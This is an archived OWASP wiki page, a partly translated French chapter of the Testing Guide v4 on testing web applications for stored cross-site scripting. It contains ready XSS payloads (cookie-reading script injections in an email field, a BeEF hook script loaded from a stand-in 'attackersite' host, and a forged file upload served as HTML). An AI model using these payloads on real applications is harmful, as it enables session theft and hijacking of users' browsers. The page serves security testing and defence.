This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)

From OWASP
Jump to: navigation, search 
This article is part of the new OWASP Testing Guide v4.

Back to the OWASP Testing Guide v4 ToC:
   https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
Back to the OWASP Testing Guide Project:
   https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Les Cross-site Scripting (XSS) stockées sont le plus dangereux type de Cross Site Scripting. Les applications web qui permettent aux utilisateurs de stocker des données sont potentiellement exposées à ce type d'attaque. Ce chapitre ilustre par des exemples les injection de XSS stockées et les scénarii d'exploitation.


Une XSS stockée advient lorsqu'une application reçoit des entrées d'un utilisateur potentiellement malicieuses, et les stocke pour un usage ultérieur. L'entrée n'est pas correctement filtrée, en conséquence, les données malicieuses vont apparaître comme faisant partie du site web, et exécutées dans le navigateur de l'utilisateur, avec les privilèges de l'application. Comme cette vulnérabilité nécessite typiquement deux requêtes à l'application, on l'appelle souvent XSS de second ordre.


Cet vulnérabilité peut être utilisée pour commettre de nombreuses attaque contre les navigateurs, notamment :

  • Détourner la session d'un autre utilisateur
  • Récupérer des informations sensibles visualisées par les uitlisateurs de l'application
  • Faire un pseudo defacement de l'application
  • Scanner les ports des machines du réseau interne de l'utilisateur
  • Envoyer des exploits vers la navigateurs
  • D'autres actions malicieuses


Les XSS stockées ne nécessitent pas de llien malicieux pour être exploitées. L'exploitation est réussie quand un utilisateur visite une page contenant une XSS stockée. Les phases suivantes détaillent une attaque typique :

  • L'attaquant stocke un code malicieus dans une page vulnérable
  • L'utilisateur s'authentifie sur l'application
  • L'utilisateur visite la page vulnérable
  • Le code malicieux est exécuté dans le navigateur de l'utilisateur


Ce type d'attaque peut aussi être exploité avec des frameworks d'exploitation de navigateurs tels que BeEF, XSS Proxy et Backframe, qui permettent le développement d'exploits JavaScript complexes.


Une XSS stockée peut être particulièrement dangereuse dans des parties de l'application réservés aux utilisateurs à privilèges élevés. Quand l'administrateur visite une page vulnérable, l'attaque est exécutée automatiquement par son navigateur. Cela peut exposer des informations sensibles comme ses jetons de session.

Comment tester

Test en boite noire

Le processus pour identifier des XSS stockées est similaire à celui décrit pour les reflected XSS testing for reflected XSS.


Formulaires d'entrée

La première étape est d'identifier tous les points où des entrées utilisateur sont stockées par le back-end, puis affichées par l'application. Des exemples typiques :

  • Page d'utilisateur ou de profil : l'application autorise l'utilisateur à éditer/modifier ses détails de profil, comme ses nom, prénom, pseudo, avatar, image, adresse, etc.
  • Panier de commande : l'application aotorise l'utilisateur à stocker des éléments dans le panier de commande qui peuvent être visualisés plus tard
  • Gestionnaire de fichier : application permettant de télécharger des fichiers vers le serveur
  • Règlages et préférences de l'application : application qui permet à l'utilisateur de choisir ses préférences
  • Forum/messagerie publique : application permettant des échanges et des annonces entre les utilisateurs
  • Blog : si l'application de blog permet aux utilisateurs de poster des commentaires
  • Journaux (log) : si l'application stocke certaines entrées utilisateur dans les journaux.


Analyser le code HTML

Normalement, les entrées stockées par l'application sont utilisées dans des marqueurs HTML, mais on peut aussi les trouver dans du contenu JavaScript. A ce moment-là, il est fondamental de comprendre si les entrées sont stockées et comment elles s'insèrent dans le contexte de la page. A la différence des reflected XSS, le pen-tester devra aussi vérifier tout canal séparé par lequel l'application reçoit et stocke des entrées utilisateur.


Note : Toute partie de l'application accessible par les administrateurs devra être testée pour identifier la présence de données issues des utilisateurs.


Exemple : données stockées par email dans index2.php

Stored input example.jpg


Le code HTML d'index2.php où la valeur de l'email est stockée : 

<input class="inputbox" type="text" name="email" size="40" value="[email protected]" />


Dans ce cas, le testeur doit trouver une manière d'injecter du code en dehors du marqueur <input> : 

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"> CODE MALICIEUX <!-- />


Tester les XSS stockées

Il s'agit ici de tester la validation des entrées et les filtres de contrôle de l'application. Un exemple simple : 

[email protected]"><script>alert(document.cookie)</script>
[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E


Il faut s'assurer que l'entrée est bien passée par l'application. Normalement, cela implique de désactiver JavaScript si des contrôles de sécurité sont implémentés côté client ou si la requête HTTP est modifiée par un proxy comme WebScarab. Il est aussi important de tester la même injection en requête GET comme en POST. Les résultats des injections précédentes affichent des popup windows contenant les valeurs des cookies.


Resultat attendu:

Stored xss example.jpg


Code HTML après l'injection : 

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"><script>alert(document.cookie)</script>


Les entrées sont stockées et la charge utile de l'XSS est exécutée par le navigateur quand on recharge la page. Si les entrées sont échappées par l'application, les testeurs devraient vérifier ses filtres XSS. Par exemple, si la chaîne "SCRIPT" est remplacée par un espace ou un caractère NULL, cela indique l'action d'un éventuel filtrage XSS. Il existe diverses techniques d'évasion des filtres d'entrées (cf le chapitre testing for reflected XSS ). Il est fortement recommandé de se référer à XSS Filter Evasion , RSnake et Mario qui donnent une liste extensive des attaques XSS et des évasions de filtrage. Voir la section whitepapers et outils pour plus de précisions.


Améliorer les XSS stockées avec BeEF

Les CSS stockées peuvent être exploitées par des frameworks d'exploitation JavaScript avancés tels que BeEF, XSS Proxy et Backframe.


Un scénario BeEF d'exploitation typique inclut :

  • Injecter un hook JavaScript qui communique avec le framework d'exploitation de navigateur de l'attaquant (BeEF)
  • Attendre qu'un utilisateur de l'application visualise la page vulnérable où l'entrée stockée est affichée.
  • Contrôler le navigateur de l'utilisateur de l'application via la console BeEF


Le hook JavaScript peut être injecté en exploitant les vulnérabilités XSS de l'application web.

Exemple: Injection BeEF dans index2.php : 

[email protected]”><script src=http://attackersite/hook.js></script>


Quand l(utilisateur charge la page index2.php, le script hook.js est exécuté par le navigateur. Il est alors possible d'accéder aux cookies, captures d'écrans et presse-papier de l'utilisateur, et de lancer des attaques XSS complexes.


Resultat attendu

RubyBeef.png

Cette attaque est particulièrement efficace sur les pages vulnérables visitées par un grand nombre d'utilisateurs ayant des privilèges différents.


Envoi de fichier

Si l'application autorise l'envoi de fichier, il est important de vérifier s'il est possible de télécharger du contenu HTML. Par exemple, si des fichier HTML ou TXT sont autorisés, une charge utile XSS peut être injectée dans le fichier envoyé. Le pen-testeur doit aussi vérifier si l'envoi de fichier autorise des types MIME arbitraires.


Considérons la requête HTTP POST d'envoi de fichier suivante : 

POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test


Ce défaut de conception peut être exploité lors d'une attaque de mauvaise gestion de MIME de la part du navigateur. Par exemple, des fichier This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.


Requête HTTP POST falsifiée : 

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>


Il faut aussi prendre en compte le fait qu'Internet Explorer ne gère pas mes types MIME de la même manière que Mozilla Firefox ou d'autres navigateurs. Par exemple, Internet Explorer interprête les fichiers TXT avec du contenu HTML comme des pages HTML. Pour plus d'information sur la gestion des types MIME, voir la section whitepapers en fin de chapitre.


Test en boite grise

Les tests en boite grise sont similaires aux tests en boite noire. En boite ,grise, le pen-testeur a une connaissance partielle de l'application. Dans ce cas, les informations concernant une entrée, les contrôles de validation, et le stockage peuvent être connues du testeur.


Selon les informations disponibles, il sera normalement recommandé que les testeurs vérifient comment les entrées utilisateur sont traîtées par l'application puis comment elles sont stockées dans le système back-end. Les étapes suivantes sont recommandées :

  • Utiliser l'application frontale pour introduire des entrées avec des caractères spéciaux et/ou invalides
  • Analyser la/les réponse(s) de l'application
  • Identifier la présence de contrôles de validation d'entréees
  • Accéder au back-end et vérifier si les entrées sont stockées et comment elles le sont
  • Analyser le code source et comprendre comment les entrées stockées sont affichées par l'application


Si le code source est disponible (boite blanche), toutes les variables utilisées doivent être analysées. En particulier, des langages de programmation comme PHP, ASP, et JSP utilisent des variables et fonctions prédéfinies pour stocker les entrées venant de requêtes HTPP GET et POST.


La table suivante résume quelques variables et fonctions spéciales à rechercher dans le code source :

PHP ASP JSP
  • $_GET - Variables HTTP GET
  • $_POST - Variables HTTP POST
  • $_REQUEST – Variables HTTP POST, GET et COOKIE
  • $_FILES - Variables de fichier envoyé en HTTP
  • Request.QueryString - HTTP GET
  • Request.Form - HTTP POST
  • Server.CreateObject - utilisé pour l'envoi de fichiers
  • doGet, doPost servlets - HTTP GET et POST
  • request.getParameter - Variables HTTP GET/POST


Note : La table ci-dessus ne mentionne que les paramètres les plus importants, mais les autres paramètres d'entrée doivent également être étudiés.

Outils

CAL9000 comprend une implémentation triable des attaques XSS de RSnake, un encodeur/décodeur de caractères, un générateur de requêtes HTTP et un évaluateur de réponses, une checklist de tests, un éditeur d'attaques automatisées, et bien d'autres choses.

PCE permet d'encoder des textes arbitraires depuis et vers 65 jeux de caractères, afin de les utiliser dans des charges utiles.

Hackvertor est un outil en ligne permettant de multiples encodages et obfuscation de code JavaScript (ou tout type d'entrées).

BeEF est un framework d'exploitation de navigateur. C'est un outil professionnel pour démontrer les impacts des vulnérabilités des navigateur en temps réel.

XSS-Proxy est un outil d'attaques Cross-Site Scripting (XSS) avancé.

Backframe est une console complète pour exploiter les navigateurs, utilisateurs et applications web.

WebScarab est un framework d'analyse des applications qui communiquent avec les protocoles HTTP et HTTPS.

Burp Proxy est un serveur proxy HTTP/S interactif pour attaquer et tester les applications web.

Greasemonkey est un script permettant aux utilisateurs de tester facilement les failles cross-site-scripting sur toute application web.

ZAP est un outil intégré de test d'intrusion facile à utiliser pour trouver les vulnérabilité d'une application web. Il est conçu pour être utilisé par des personnes ayant une large expérience en sécurité, et est idéal pour les développeurs et testeur fonctionnels novices en test d'intrusion. ZAP fournit des scanners automatisés ainsi qu'un ensemble d'outils permettant de trouver manuellement des vulnérabilités.


Références

Ressources OWASP


Bibliographie

  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3


Whitepapers

Retrieved from "https://wiki.owasp.org/index.php?title=4.8.2_Test_de_Stored_Cross-Site_Scripting_(OTG-INPVAL-002)&oldid=187296"